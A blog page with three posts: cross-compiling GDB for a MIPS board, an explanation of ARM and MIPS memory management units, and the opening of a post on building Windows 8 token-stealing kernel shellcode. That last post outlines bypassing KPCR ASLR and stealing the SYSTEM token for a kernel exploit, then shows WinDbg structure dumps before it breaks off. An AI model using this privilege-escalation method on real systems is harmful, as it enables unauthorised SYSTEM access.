Wednesday, November 21, 2012

How To Cross Compile GDB and Run in Embedded System

How To Cross Compile GDB and Run in Embedded System

by cawan (cawan[at]ieee.org or chuiyewleong[at]hotmail.com)

on 21/11/2012

GDB is a useful tool to debug applications running in linux system. For the case of
embedded linux system, it is important have a version of GDB that can run in proper
in the embedded environment. As oppose to x86 environment which is mostly being used
in PC platform, embedded system adopts a large variety of RISC architecture to run
the system. There are ARM, MIPS, PPC... and each of them might run in little or big
endian mode. So, it is a little bit hard to have a generic version of GDB that can
run in all embedded platforms. Therefore, it is crucial to harness the power of cross
compilation in all the ways in order to make use of those useful tools such as GDB in
embedded environment. Regarding to the fundamental knowledge of cross compilation,
please refer my previous paper in this blog, "What is Cross Compilation ? Cross
Compilation Demystified For Embedded Linux System". So, let us start to cross compile
the GDB for our embedded platform right now. The embedded platform that we are going
to use is MIPS 24k, little-endian mode, 500MHz, with 256MB DDR2 RAM.

Host:# ./configure --help
`configure' configures this package to adapt to many kinds of systems.

Usage: ./configure [OPTION]... [VAR=VALUE]...

To assign environment variables (e.g., CC, CFLAGS...), specify them as
VAR=VALUE.  See below for descriptions of some of the useful variables.

Defaults for the options are specified in brackets.

Configuration:
  -h, --help              display this help and exit
      --help=short        display options specific to this package
      --help=recursive    display the short help of all the included packages
  -V, --version           display version information and exit
  -q, --quiet, --silent   do not print `checking...' messages
      --cache-file=FILE   cache test results in FILE [disabled]
  -C, --config-cache      alias for `--cache-file=config.cache'
  -n, --no-create         do not create output files
      --srcdir=DIR        find the sources in DIR [configure dir or `..']

Installation directories:
  --prefix=PREFIX         install architecture-independent files in PREFIX
                          [/usr/local]
  --exec-prefix=EPREFIX   install architecture-dependent files in EPREFIX
                          [PREFIX]

By default, `make install' will install all the files in
`/usr/local/bin', `/usr/local/lib' etc.  You can specify
an installation prefix other than `/usr/local' using `--prefix',
for instance `--prefix=$HOME'.

For better control, use the options below.

Fine tuning of the installation directories:
  --bindir=DIR            user executables [EPREFIX/bin]
  --sbindir=DIR           system admin executables [EPREFIX/sbin]
  --libexecdir=DIR        program executables [EPREFIX/libexec]
  --sysconfdir=DIR        read-only single-machine data [PREFIX/etc]
  --sharedstatedir=DIR    modifiable architecture-independent data [PREFIX/com]
  --localstatedir=DIR     modifiable single-machine data [PREFIX/var]
  --libdir=DIR            object code libraries [EPREFIX/lib]
  --includedir=DIR        C header files [PREFIX/include]
  --oldincludedir=DIR     C header files for non-gcc [/usr/include]
  --datarootdir=DIR       read-only arch.-independent data root [PREFIX/share]
  --datadir=DIR           read-only architecture-independent data [DATAROOTDIR]
  --infodir=DIR           info documentation [DATAROOTDIR/info]
  --localedir=DIR         locale-dependent data [DATAROOTDIR/locale]
  --mandir=DIR            man documentation [DATAROOTDIR/man]
  --docdir=DIR            documentation root [DATAROOTDIR/doc/PACKAGE]
  --htmldir=DIR           html documentation [DOCDIR]
  --dvidir=DIR            dvi documentation [DOCDIR]
  --pdfdir=DIR            pdf documentation [DOCDIR]
  --psdir=DIR             ps documentation [DOCDIR]

Program names:
  --program-prefix=PREFIX            prepend PREFIX to installed program names
  --program-suffix=SUFFIX            append SUFFIX to installed program names
  --program-transform-name=PROGRAM   run sed PROGRAM on installed program names

System types:
  --build=BUILD     configure for building on BUILD [guessed]
  --host=HOST       cross-compile to build programs to run on HOST [BUILD]
  --target=TARGET   configure for building compilers for TARGET [HOST]

Optional Features:
  --disable-option-checking  ignore unrecognized --enable/--with options
  --disable-FEATURE       do not include FEATURE (same as --enable-FEATURE=no)
  --enable-FEATURE[=ARG]  include FEATURE [ARG=yes]
  --enable-gold           use gold instead of ld
  --enable-libada         build libada directory
  --enable-libssp         build libssp directory
  --enable-build-with-cxx build with C++ compiler instead of C compiler
  --disable-ppl-version-check    disable check for PPL version
  --disable-cloog-version-check  disable check for CLooG version
  --enable-lto            enable link time optimization support
  --enable-stage1-languages[=all]   choose additional languages to build during
                          stage1.  Mostly useful for compiler development.
  --enable-objc-gc        enable use of Boehm's garbage collector with the
                          GNU Objective-C runtime
  --enable-bootstrap      enable bootstrapping [yes if native build]
  --enable-serial-[{host,target,build}-]configure
                          force sequential configuration of
                          sub-packages for the host, target or build
                          machine, or all sub-packages
  --enable-maintainer-mode enable make rules and dependencies not useful
                          (and sometimes confusing) to the casual installer
  --enable-stage1-checking[=all]   choose additional checking for stage1
                          of the compiler
  --enable-werror         enable -Werror in bootstrap stage2 and later

Optional Packages:
  --with-PACKAGE[=ARG]    use PACKAGE [ARG=yes]
  --without-PACKAGE       do not use PACKAGE (same as --with-PACKAGE=no)
  --with-build-libsubdir=DIR  Directory where to find libraries for build system
  --with-mpc=PATH        specify prefix directory for installed MPC package.
                          Equivalent to --with-mpc-include=PATH/include
                          plus --with-mpc-lib=PATH/lib
  --with-mpc-include=PATH
                          specify directory for installed MPC include files
  --with-mpc-lib=PATH    specify directory for the installed MPC library
  --with-mpfr-dir=PATH    this option has been REMOVED
  --with-mpfr=PATH        specify prefix directory for installed MPFR package.
                          Equivalent to --with-mpfr-include=PATH/include
                          plus --with-mpfr-lib=PATH/lib
  --with-mpfr-include=PATH
                          specify directory for installed MPFR include files
  --with-mpfr-lib=PATH    specify directory for the installed MPFR library
  --with-gmp-dir=PATH     this option has been REMOVED
  --with-gmp=PATH         specify prefix directory for the installed GMP package.
                          Equivalent to --with-gmp-include=PATH/include
                          plus --with-gmp-lib=PATH/lib
  --with-gmp-include=PATH specify directory for installed GMP include files
  --with-gmp-lib=PATH     specify directory for the installed GMP library
  --with-host-libstdcxx=L Use linker arguments L to link with libstdc++
                          when linking with PPL
  --with-stage1-ldflags=FLAGS Linker flags for stage1
  -with-stage1-libs=LIBS      Libraries for stage1
  --with-boot-libs=LIBS     Libraries for stage2 and later
  --with-boot-ldflags=FLAGS Linker flags for stage2 and later
  --with-ppl=PATH         Specify prefix directory for the installed PPL package
                          Equivalent to --with-ppl-include=PATH/include
                          plus --with-ppl-lib=PATH/lib
  --with-ppl-include=PATH Specify directory for installed PPL include files
  --with-ppl-lib=PATH     Specify the directory for the installed PPL library
  --with-cloog=PATH       Specify prefix directory for the installed CLooG-PPL package
                          Equivalent to --with-cloog-include=PATH/include
                          plus --with-cloog-lib=PATH/lib
  --with-cloog-include=PATH Specify directory for installed CLooG include files
  --with-cloog-lib=PATH   Specify the directory for the installed CLooG library
  --with-libelf=PATH       Specify prefix directory for the installed libelf package
                          Equivalent to --with-libelf-include=PATH/include
                          plus --with-libelf-lib=PATH/lib
  --with-libelf-include=PATH Specify directory for installed libelf include files
  --with-libelf-lib=PATH   Specify the directory for the installed libelf library
  --with-build-sysroot=SYSROOT
                          use sysroot as the system root during the build
  --with-debug-prefix-map='A=B C=D ...'
                             map A to B, C to D ... in debug information
--with-build-config='NAME NAME2...'
                          Use config/NAME.mk build configuration
  --with-build-time-tools=PATH
                          use given path to find target tools during the build

Some influential environment variables:
  CC          C compiler command
  CFLAGS      C compiler flags
  LDFLAGS     linker flags, e.g. -L if you have libraries in a
              nonstandard directory
  LIBS        libraries to pass to the linker, e.g. -l
  CPPFLAGS    C/C++/Objective C preprocessor flags, e.g. -I if
              you have headers in a nonstandard directory
  CXX         C++ compiler command
  CXXFLAGS    C++ compiler flags
  CPP         C preprocessor
  AR          AR for the host
  AS          AS for the host
  DLLTOOL     DLLTOOL for the host
  LD          LD for the host
  LIPO        LIPO for the host
  NM          NM for the host
  RANLIB      RANLIB for the host
  STRIP       STRIP for the host
  WINDRES     WINDRES for the host
  WINDMC      WINDMC for the host
  OBJCOPY     OBJCOPY for the host
  OBJDUMP     OBJDUMP for the host
  CC_FOR_TARGET
              CC for the target
  CXX_FOR_TARGET
              CXX for the target
  GCC_FOR_TARGET
              GCC for the target
  GCJ_FOR_TARGET
              GCJ for the target
  GFORTRAN_FOR_TARGET
              GFORTRAN for the target
  AR_FOR_TARGET
              AR for the target
  AS_FOR_TARGET
              AS for the target
  DLLTOOL_FOR_TARGET
              DLLTOOL for the target
  LD_FOR_TARGET
              LD for the target
  LIPO_FOR_TARGET
              LIPO for the target
  NM_FOR_TARGET
              NM for the target
  OBJDUMP_FOR_TARGET
              OBJDUMP for the target
  RANLIB_FOR_TARGET
              RANLIB for the target
  STRIP_FOR_TARGET
              STRIP for the target
  WINDRES_FOR_TARGET
              WINDRES for the target
  WINDMC_FOR_TARGET
              WINDMC for the target

Use these variables to override the choices made by `configure' or to help
it to find libraries and programs with nonstandard names/locations.

Report bugs to the package provider.
Host:#

Well, let's define --host, --target, and CC for our first try of GDB cross
compilation.

Host:# ./configure --host=mips-linux-gnu --target=mips-linux-gnu CC="mips-linux-gnu-gcc -EL"

Host:# make

After a while, we get the following error.

configure: WARNING: no enhanced curses library found; disabling TUI
checking for library containing tgetent... no
configure: error: no termcap library found
make[1]: *** [configure-gdb] Error 1
make[1]: Leaving directory `/home/smp383/mips-4.3/bin/gdb-7.1'
make: *** [all] Error 2

No termcap library found... It seems GDB needs termcap library to complete the
cross compilation. So, we need to cross compile a termcap library first.

Host:# wget http://gnuwin32.sourceforge.net/downlinks/termcap-src-zip.php

Host:# ls *.zip
termcap-1.3.1-src.zip
Host:# mkdir libtermcap
Host:# cp termcap-1.3.1-src.zip ./libtermcap/
Host:# cd libtermcap/
Host:# ls
termcap-1.3.1-src.zip
Host:# unzip termcap-1.3.1-src.zip
Archive:  termcap-1.3.1-src.zip
TermCap 1.3.1: sources
TermCap: terminal-capability library
  inflating: src/COPYING            
  inflating: src/ChangeLog          
  inflating: src/INSTALL            
  inflating: src/Makefile           
  inflating: src/Makefile.in        
  inflating: src/NEWS               
  inflating: src/README             
  inflating: src/config.cache       
  inflating: src/config.log         
  inflating: src/config.status      
  inflating: src/configure          
  inflating: src/configure.in       
  inflating: src/configure_help.txt 
  inflating: src/install-sh         
  inflating: src/makefile.mingw     
  inflating: src/mkinstalldirs      
  inflating: src/termcap.c          
  inflating: src/termcap.h          
  inflating: src/termcap.info       
  inflating: src/termcap.info-1     
  inflating: src/termcap.info-2     
  inflating: src/termcap.info-3     
  inflating: src/termcap.info-4     
  inflating: src/termcap.src        
  inflating: src/termcap.texi       
  inflating: src/texinfo.te_        
  inflating: src/tparam.c           
  inflating: src/version.c          
  inflating: manifest/termcap-1.3.1-src.ver 
  inflating: manifest/termcap-1.3.1-src.mft 
Host:# ls
manifest  src  termcap-1.3.1-src.zip
Host:# cd src
Host:# ls
ChangeLog           configure.in  makefile.mingw  termcap.info    termcap.texi
config.cache        COPYING       mkinstalldirs   termcap.info-1  texinfo.te_
config.log          INSTALL       NEWS            termcap.info-2  tparam.c
config.status       install-sh    README          termcap.info-3  version.c
configure           Makefile      termcap.c       termcap.info-4
configure_help.txt  Makefile.in   termcap.h       termcap.src
Host:# ./configure --help
bash: ./configure: Permission denied
Host:# ls -l ./configure
-rw-r--r-- 1 root root 30285 1995-07-27 03:52 ./configure
Host:# chmod 755 ./configure
Host:# ls -l ./configure
-rwxr-xr-x 1 root root 30285 1995-07-27 03:52 ./configure
Host:# ./configure --help
Usage: configure [options] [host]
Options: [defaults in brackets after descriptions]
Configuration:
  --cache-file=FILE       cache test results in FILE
  --help                  print this message
  --no-create             do not create output files
  --quiet, --silent       do not print `checking...' messages
  --version               print the version of autoconf that created configure
Directory and file names:
  --prefix=PREFIX         install architecture-independent files in PREFIX
                          [/usr/local]
  --exec-prefix=PREFIX    install architecture-dependent files in PREFIX
                          [same as prefix]
  --srcdir=DIR            find the sources in DIR [configure dir or ..]
  --program-prefix=PREFIX prepend PREFIX to installed program names
  --program-suffix=SUFFIX append SUFFIX to installed program names
  --program-transform-name=PROGRAM run sed PROGRAM on installed program names
Host type:
  --build=BUILD           configure for building on BUILD [BUILD=HOST]
  --host=HOST             configure for HOST [guessed]
  --target=TARGET         configure for TARGET [TARGET=HOST]
Features and packages:
  --disable-FEATURE       do not include FEATURE (same as --enable-FEATURE=no)
  --enable-FEATURE[=ARG]  include FEATURE [ARG=yes]
  --with-PACKAGE[=ARG]    use PACKAGE [ARG=yes]
  --without-PACKAGE       do not use PACKAGE (same as --with-PACKAGE=no)
  --x-includes=DIR        X include files are in DIR
  --x-libraries=DIR       X library files are in DIR
--enable and --with options recognized:
  --enable-install-termcap install the termcap data file
  --with-termcap=FILE     use data file FILE instead of /etc/termcap
Host:# ./configure --host=mips-linux-gnu --target=mips-linux-gnu CC="mips-linux-gnu-gcc -EL"
configure: warning: CC=mips-linux-gnu-gcc -EL: invalid host type
loading cache ./config.cache
checking for gcc... (cached) gcc
checking whether we are using GNU C... (cached) yes
checking for ranlib... (cached) ranlib
checking for a BSD compatible install... /usr/bin/install -c
checking how to run the C preprocessor... (cached) gcc -E
checking for string.h... (cached) no
checking for unistd.h... (cached) no
checking whether cross-compiling... (cached) no
checking for ANSI C header files... (cached) yes
updating cache ./config.cache
creating ./config.status
creating Makefile
Host:# make
gcc -c  -DTERMCAP_FILE=\"/etc/termcap\" -I. -I. -g termcap.c
termcap.c:44: warning: conflicting types for built-in function ‘malloc’
termcap.c:45: warning: conflicting types for built-in function ‘realloc’
termcap.c: In function ‘memory_out’:
termcap.c:96: warning: incompatible implicit declaration of built-in function ‘exit’
termcap.c: In function ‘tgetent’:
termcap.c:511: warning: incompatible implicit declaration of built-in function ‘strcpy’
termcap.c:541: warning: incompatible implicit declaration of built-in function ‘strlen’
termcap.c:549: warning: incompatible implicit declaration of built-in function ‘strcpy’
termcap.c:550: warning: incompatible implicit declaration of built-in function ‘strlen’
termcap.c:559: warning: incompatible implicit declaration of built-in function ‘free’
termcap.c:567: warning: incompatible implicit declaration of built-in function ‘free’
termcap.c:597: warning: incompatible implicit declaration of built-in function ‘free’
termcap.c: In function ‘gobble_line’:
termcap.c:747: warning: incompatible implicit declaration of built-in function ‘bcopy’
gcc -c  -DTERMCAP_FILE=\"/etc/termcap\" -I. -I. -g tparam.c
tparam.c:32: warning: conflicting types for built-in function ‘malloc’
tparam.c:33: warning: conflicting types for built-in function ‘realloc’
tparam.c: In function ‘memory_out’:
tparam.c:52: warning: incompatible implicit declaration of built-in function ‘exit’
tparam.c: In function ‘tparam1’:
tparam.c:161: warning: incompatible implicit declaration of built-in function ‘bcopy’
tparam.c:222: warning: incompatible implicit declaration of built-in function ‘strlen’
tparam.c:300: warning: incompatible implicit declaration of built-in function ‘abort’
tparam.c:310: warning: incompatible implicit declaration of built-in function ‘strcat’
gcc -c  -DTERMCAP_FILE=\"/etc/termcap\" -I. -I. -g version.c
ar rc libtermcap.a termcap.o tparam.o version.o
ranlib libtermcap.a

Well, the libtermcap.a is generated, but based on the output message, the binary
is suspicious to be MIPS compatible. Let's check.

Host:# ls *.o
termcap.o  tparam.o  version.o
Host:# file termcap.o
termcap.o: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped

Yes, our suspicion is correct, the binary is in x86 format. Let us define the CC flag
in explicit way under the make process.

Host:# make distclean
rm -f *.a *.o core
rm -f Makefile config.status config.cache config.log
Host:# ./configure --host=mips-linux-gnu --target=mips-linux-gnu CC="mips-linux-gnu-gcc -EL"
configure: warning: CC=mips-linux-gnu-gcc -EL: invalid host type
creating cache ./config.cache
checking for gcc... gcc
checking whether we are using GNU C... yes
checking whether gcc accepts -g... yes
checking for ranlib... ranlib
checking for a BSD compatible install... /usr/bin/install -c
checking how to run the C preprocessor... gcc -E
checking for string.h... yes
checking for unistd.h... yes
checking whether cross-compiling... no
checking for ANSI C header files... yes
updating cache ./config.cache
creating ./config.status
creating Makefile
Host:# make CC="mips-linux-gnu-gcc -EL"
mips-linux-gnu-gcc -EL -c  -DHAVE_STRING_H=1 -DHAVE_UNISTD_H=1 -DSTDC_HEADERS=1 
-DTERMCAP_FILE=\"/etc/termcap\" -I. -I. -g termcap.c
mips-linux-gnu-gcc -EL -c  -DHAVE_STRING_H=1 -DHAVE_UNISTD_H=1 -DSTDC_HEADERS=1 
-DTERMCAP_FILE=\"/etc/termcap\" -I. -I. -g tparam.c
mips-linux-gnu-gcc -EL -c  -DHAVE_STRING_H=1 -DHAVE_UNISTD_H=1 -DSTDC_HEADERS=1 
-DTERMCAP_FILE=\"/etc/termcap\" -I. -I. -g version.c
ar rc libtermcap.a termcap.o tparam.o version.o
ranlib libtermcap.a
Host:# file termcap.o
termcap.o: ELF 32-bit LSB relocatable, MIPS, MIPS32 rel2 version 1 (SYSV), not stripped
Host:#

Well, we got our libtermcap.a now. Let us back to the cross compilation process of
GDB. In order to let the cross compiler can locate the exact location of our termcap
library, let us define it in explicit way.

Host:# make distclean

Host:# ./configure --host=mips-linux-gnu --target=mips-linux-gnu CC="mips-linux-gnu-gcc -EL"
--with-libtermcap="$PWD"

Host:# make

However, after a while, we still get the same error. It seems the explicit definition
of termcap library didn't work properly. Let's us get to the respective configuration
file and do the explicit definition of termcap library again.

Host:# find . -type f -name "configure" -exec grep -il "no termcap library found" {} \;
./gdb/configure
Host:# cd gdb
Host:# ./configure --host=mips-linux-gnu --target=mips-linux-gnu CC="mips-linux-gnu-gcc -EL"
--with-libtermcap="/home/smp383/mips-4.3/bin/gdb-7.1"

Unfortunately, the error still there... It seems the problem can't be solved in graceful
way. So, we should consider to modify the configuration file directly. Let's start now.

Host:# nano configure

Well, the string "no termcap library found" is at line 8714. After some reading on
that portion of codes, it seems the variable "ac_cv_search_tgetent" needs to be
defined. At line 8644, it is defined as "../libtermcap/libtermcap.a". But, it seems
line 8644 will not getting executed in the case statement. Hence, we should hard
define it at the outer section of the case statement. So, let us put a new line of
"ac_cv_search_tgetent="../libtermcap.a" at line 8638. Therefore, from line 8635 to
line 8645 of the configuration file should look something similar to this.

# Since GDB uses Readline, we need termcap functionality.  In many
# cases this will be provided by the curses library, but some systems
# have a seperate termcap library, or no curses library at all.
ac_cv_search_tgetent="../libtermcap.a"

case $host_os in
  cygwin*)
    if test -d $srcdir/libtermcap; then
      LIBS="../libtermcap/libtermcap.a $LIBS"
      ac_cv_search_tgetent="../libtermcap/libtermcap.a"
    fi ;;

Fine, let us start the make process again.

Host:# make
...
...
make[4]: Leaving directory `/home/smp383/mips-4.3/bin/gdb-7.1/gdb/gdbserver'
make[3]: Leaving directory `/home/smp383/mips-4.3/bin/gdb-7.1/gdb'
make[2]: Leaving directory `/home/smp383/mips-4.3/bin/gdb-7.1/gdb'
make[1]: Nothing to be done for `all-target'.
make[1]: Leaving directory `/home/smp383/mips-4.3/bin/gdb-7.1'
Host:#

Excellent, the cross compilation process has been completed. Let's check the generated
binary is MIPS compatible or not.

Host:# cd gdb
Host:# file gdb
gdb: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1, for GNU/Linux 2.6.12,
dynamically linked (uses shared libs), not stripped
Host:#

It seems everything so far is fine. Let us test it in MIPS environment.

tango3[gdb-7.1]# cd gdb
tango3[gdb]# ./gdb
GNU gdb (GDB) 7.1
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "mips-linux-gnu".
For bug reporting instructions, please see:
.
Setting up the environment for debugging gdb.
No symbol table is loaded.  Use the "file" command.
Make breakpoint pending on future shared library load? (y or [n])
[answered N; input not from terminal]
No symbol table is loaded.  Use the "file" command.
Make breakpoint pending on future shared library load? (y or [n])
[answered N; input not from terminal]
/root/cawan/mips-4.3/bin/gdb-7.1/gdb/.gdbinit:8: Error in sourced command file:
No breakpoint number 0.
(gdb)

Excellent, the GDB version 7.1 is successfully running in our MIPS platform now.




pdf version:

http://www.scribd.com/doc/114002450/How-to-Cross-Compile-GDB-and-Run-in-Embedded-System

Tuesday, November 20, 2012

Memory Management Unit (MMU) Demystified For Embedded System

Memory Management Unit (MMU) Demystified For Embedded System

by cawan (cawan[at]ieee.org or chuiyewleong[at]hotmail.com)

on 20/11/2012

In embedded system, RISC architecture is the most common approach as system
processor. In order to support multitasking, each running process should has its
own memory space. In other words, the memory space of each running process should
be isolated among each other. On the other hand, the kernel space should be
separated from the user space, in order to ensure the stability of the system.
Besides, it is also important to assign continuous virtual memory blocks over the
incontinuous physical memory pages. Well, it seems some kind of memory mapping or
translation mechanism is needed for such kind of memory management process to
support multitasking properly. In x86 architecture, CR3 is always pointing to the
current context of page directory. So, with a virtual address, it is usually
segmented into 3 portions, where the first portion is the offset from page directory,
the second portion is the offset from the page table directed by the entry in page
directory, and the third portion is the offset from the physical memory page. Yes,
it is about the translation process from virtual memory into physical memory. But,
how about the translation process of RISC architecture which is commonly being used
in embedded system ? The answer is simple, it is almost the same.

In RISC architecture, the translation process is usually being managed automatically
by Memory Management Unit or MMU. The MMU is optionally to be activated from the
register setting of appropriate coprocessor of the respective RISC processor. In ARM
platform, the memory management process is controlled by system control coprocessor,
or also well-known as coprocessor 15, or CP15 in short. In fact, ARM architecture has
defined 16 coprocessors with numbers from 0 to 15, where the coprocessor 15 (CP15) is
reserved for memory system control purposes. In CP15, there are 16 registers
available in controlling the behavior of MMU such as the caching of TLB or the
translation process from virtual address to physical address, as mentioned earlier.
However, in order to enable MMU, it is only about to set the value of bit 0 in
register 1 (C1) of CP15. Yes, it is straightforward. Well, once the MMU is activated,
as what CR3 in x86 does, a register which is always pointing to the current context
of page directory is necessary to start the translation process. Is there anything
similar in ARM architecture ? Yes, it is register 2 (C2) in CP15. In ARM terminology,
C2 is a pointer to the physical address of Translation Table Base (TTB). So, as
almost similar to x86, any virtual address in ARM plarform is segmented into 3
portions, and after 2 level of page table redirection, the final memory page is found
and the last portion of virtual address will point to the exact location in the
memory page. The final memory page can be defined as tiny page (1KB), small page (4kB),
large page (64kB), or section (1MB). In most of the times, small page is the favorite.
Besides, as exception, memory page in section will only involve 1 level of page table
redirection, in other words, the virtual address that referring a section will only
segmented into 2 portions, instead of 3 portions in small page. As additional info,
in order to perform read or write operation to the registers in coprocessor, it is
necessary to going through a general purpose register. The related commands to perform
such actions are mrc and mcr.

On the other hand, in MIPS processor, the MMU is controlled by coprocessor 0 which is
reserved by the system. In coprocessor 0, 32 registers are available in controlling
the behavior of memory management of the system. Among the 32 registers, the register
16 is defined as configuration register, where its bit 7 to 9 (3 bits) will determine
the MMU mode of the system. If it is 0, MMU is disabled; if it is 1, then MMU is
enabled in standard TLB mode. For value 2 and 3, the MMU will perform some kind of
direct mapping from virtual address to physical address. Value 4 to 7 are reserved.
It is important to note that there are 4 columns of selections available in register
16, numbers from 0 to 3. The bit 7 to 9 as mentioned earlier is located at column 0
of the selection. In order to point to the current context, register 4 which is named
as context register will do the job. As usual, any virtual address is segmented and
the MMU will perform page table redirection to find the final memory page, and the
offset portion of the virtual address will point to the exact location in the memory
page, nothing special. Regarding to perform read and write operation to the registers
in coprocessor, the related commands are mfc0 and mtc0.

Before we stop this paper, it is worth to take note about TLB. TLB is known as
translation lookaside buffer, where it caches all the histories of translation
process. In other words, for those virtual addresses which are getting translated
into physical address before will be pooled in the TLB. With such mechanism, it is
an advantage to optimize the performance of memory management process. So, instead
of forcing the translation process by referring the page tables again and again, it
is a good idea to seek the historical virtual address entry in TLB first. If any
match entry is found in TLB, then the respective physical address will be returned
and getting use directly, and the complicated translation process can be skipped.
The TLB mechanism is implemented in both ARM and MIPS platforms, and of course, it
is available to be controlled by CP15 and coprocessor 0, respectively.

pdf version:

http://www.scribd.com/doc/113923900/Memory-Management-Unit-MMU-Demystified-for-Embedded-System

Friday, November 16, 2012

Design and Implementation of Token Stealing Kernel Shellcode for Windows 8

Design and Implementation of Token Stealing Kernel Shellcode for Windows 8

by cawan (cawan[at]ieee.org or chuiyewleong[at]hotmail.com)

on 15/11/2012

The kernel shellcode to perform token stealing is really simple in Windows XP. It is
about to retrieve the KPCR base directly from 0xffdff000, getting current thread,
then the current process. After that, walk through the link list of eprocess object
to find out the process with pid as 4, which is the system process, then duplicate
its token, and finally overwrite the token of current process. However, in Windows 8,
the KPCR has been ASLRed. In other words, it is no longer at 0xffdff000. But, it is
still possible to get the location of KPCR in Windows 8 by using offset comparison
technique. Besides, GDT parsing is another interesting approach in doing the same
job. The mechanism of both techniques are detailed in my previous paper in this blog,
"How to Defeat Windows 8 ASLR in Getting the Address of KPCR". In this paper, we are
going to develop a kernel shellcode to perform token stealing in Windows 8 by using
GDT parsing technique. In order to ease the process of kernel shellcode development,
we are going to use our proposed kernel shellcode design and testing platform. For
those who interested to this platform can refer to my previous paper in this blog,
"How To Build A Kernel Shellcode Design and Testing Platform For Windows 8 By Using
Windbg". In addition, this paper is only about the kernel shellcode, without any
specific exploit. So, it is up to you in adopting the kernel shellcode in your writeX
kernel exploit. Besides, for your info, it is almost impossible to locate your kernel
shellcode at virtual address 0 in Windows 8 environment. However, it is possible to
be bypassed by locating the kernel shellcode in HvlpLogicalProcessorRegions with
multiple of writeX operation. Again, the HvlpLogicalProcessorRegions is ASLRed, but it
is simple to get rid with offset comparison technique from user mode. Please refer my
previous 2 papers if you really want to know more about bypassing ASLR in Windows 8
and the internal of HvlpLogicalProcessorRegions. Now, let us start to development our
kernel shellcode.

kd> dt _kpcr
nt!_KPCR
   +0x000 NtTib            : _NT_TIB
   +0x000 Used_ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD
   +0x004 Used_StackBase   : Ptr32 Void
   +0x008 Spare2           : Ptr32 Void
   +0x00c TssCopy          : Ptr32 Void
   +0x010 ContextSwitches  : Uint4B
   +0x014 SetMemberCopy    : Uint4B
   +0x018 Used_Self        : Ptr32 Void
   +0x01c SelfPcr          : Ptr32 _KPCR
   +0x020 Prcb             : Ptr32 _KPRCB
   +0x024 Irql             : UChar
   +0x028 IRR              : Uint4B
   +0x02c IrrActive        : Uint4B
   +0x030 IDR              : Uint4B
   +0x034 KdVersionBlock   : Ptr32 Void
   +0x038 IDT              : Ptr32 _KIDTENTRY
   +0x03c GDT              : Ptr32 _KGDTENTRY
   +0x040 TSS              : Ptr32 _KTSS
   +0x044 MajorVersion     : Uint2B
   +0x046 MinorVersion     : Uint2B
   +0x048 SetMember        : Uint4B
   +0x04c StallScaleFactor : Uint4B
   +0x050 SpareUnused      : UChar
   +0x051 Number           : UChar
   +0x052 Spare0           : UChar
   +0x053 SecondLevelCacheAssociativity : UChar
   +0x054 VdmAlert         : Uint4B
   +0x058 KernelReserved   : [14] Uint4B
   +0x090 SecondLevelCacheSize : Uint4B
   +0x094 HalReserved      : [16] Uint4B
   +0x0d4 InterruptMode    : Uint4B
   +0x0d8 Spare1           : UChar
   +0x0dc KernelReserved2  : [17] Uint4B
   +0x120 PrcbData         : _KPRCB

Well, the current thread is in _KPRCB.

kd> dt _kprcb
nt!_KPRCB
   +0x000 MinorVersion     : Uint2B
   +0x002 MajorVersion     : Uint2B
   +0x004 CurrentThread    : Ptr32 _KTHREAD
   +0x008 NextThread       : Ptr32 _KTHREAD
   +0x00c IdleThread       : Ptr32 _KTHREAD
   +0x010 LegacyNumber     : UChar
   +0x011 NestingLevel     : UChar
   +0x012 BuildType        : Uint2B
   +0x014 CpuType          : Char
   +0x015 CpuID            : Char
   +0x016 CpuStep          : Uint2B
   +0x016 CpuStepping      : UChar
   +0x017 CpuModel         : UChar
   +0x018 ProcessorState   : _KPROCESSOR_STATE
...
...

Good, the CurrentThread is at offset 0x124 from KPCR. Let's check _KTHREAD now.

kd> dt _kthread
nt!_KTHREAD
   +0x000 Header           : _DISPATCHER_HEADER
   +0x010 SListFaultAddress : Ptr32 Void
   +0x018 QuantumTarget    : Uint8B
   +0x020 InitialStack     : Ptr32 Void
   +0x024 StackLimit       : Ptr32 Void
   +0x028 StackBase        : Ptr32 Void
   +0x02c ThreadLock       : Uint4B
   +0x030 CycleTime        : Uint8B
   +0x038 HighCycleTime    : Uint4B
   +0x03c ServiceTable     : Ptr32 Void
   +0x040 CurrentRunTime   : Uint4B
   +0x044 ExpectedRunTime  : Uint4B
   +0x048 KernelStack      : Ptr32 Void
   +0x04c StateSaveArea    : Ptr32 _XSAVE_FORMAT
   +0x050 SchedulingGroup  : Ptr32 _KSCHEDULING_GROUP
   +0x054 WaitRegister     : _KWAIT_STATUS_REGISTER
   +0x055 Running          : UChar
   +0x056 Alerted          : [2] UChar
   +0x058 KernelStackResident : Pos 0, 1 Bit
   +0x058 ReadyTransition  : Pos 1, 1 Bit
   +0x058 ProcessReadyQueue : Pos 2, 1 Bit
   +0x058 WaitNext         : Pos 3, 1 Bit
   +0x058 SystemAffinityActive : Pos 4, 1 Bit
   +0x058 Alertable        : Pos 5, 1 Bit
   +0x058 CodePatchInProgress : Pos 6, 1 Bit
   +0x058 UserStackWalkActive : Pos 7, 1 Bit
   +0x058 ApcInterruptRequest : Pos 8, 1 Bit
   +0x058 QuantumEndMigrate : Pos 9, 1 Bit
   +0x058 UmsDirectedSwitchEnable : Pos 10, 1 Bit
   +0x058 TimerActive      : Pos 11, 1 Bit
   +0x058 SystemThread     : Pos 12, 1 Bit
   +0x058 ProcessDetachActive : Pos 13, 1 Bit
   +0x058 CalloutActive    : Pos 14, 1 Bit
   +0x058 ScbReadyQueue    : Pos 15, 1 Bit
   +0x058 ApcQueueable     : Pos 16, 1 Bit
   +0x058 ReservedStackInUse : Pos 17, 1 Bit
   +0x058 UmsPerformingSyscall : Pos 18, 1 Bit
   +0x058 Reserved         : Pos 19, 13 Bits
   +0x058 MiscFlags        : Int4B
   +0x05c AutoAlignment    : Pos 0, 1 Bit
   +0x05c DisableBoost     : Pos 1, 1 Bit
   +0x05c UserAffinitySet  : Pos 2, 1 Bit
   +0x05c AlertedByThreadId : Pos 3, 1 Bit
   +0x05c QuantumDonation  : Pos 4, 1 Bit
   +0x05c EnableStackSwap  : Pos 5, 1 Bit
   +0x05c GuiThread        : Pos 6, 1 Bit
   +0x05c DisableQuantum   : Pos 7, 1 Bit
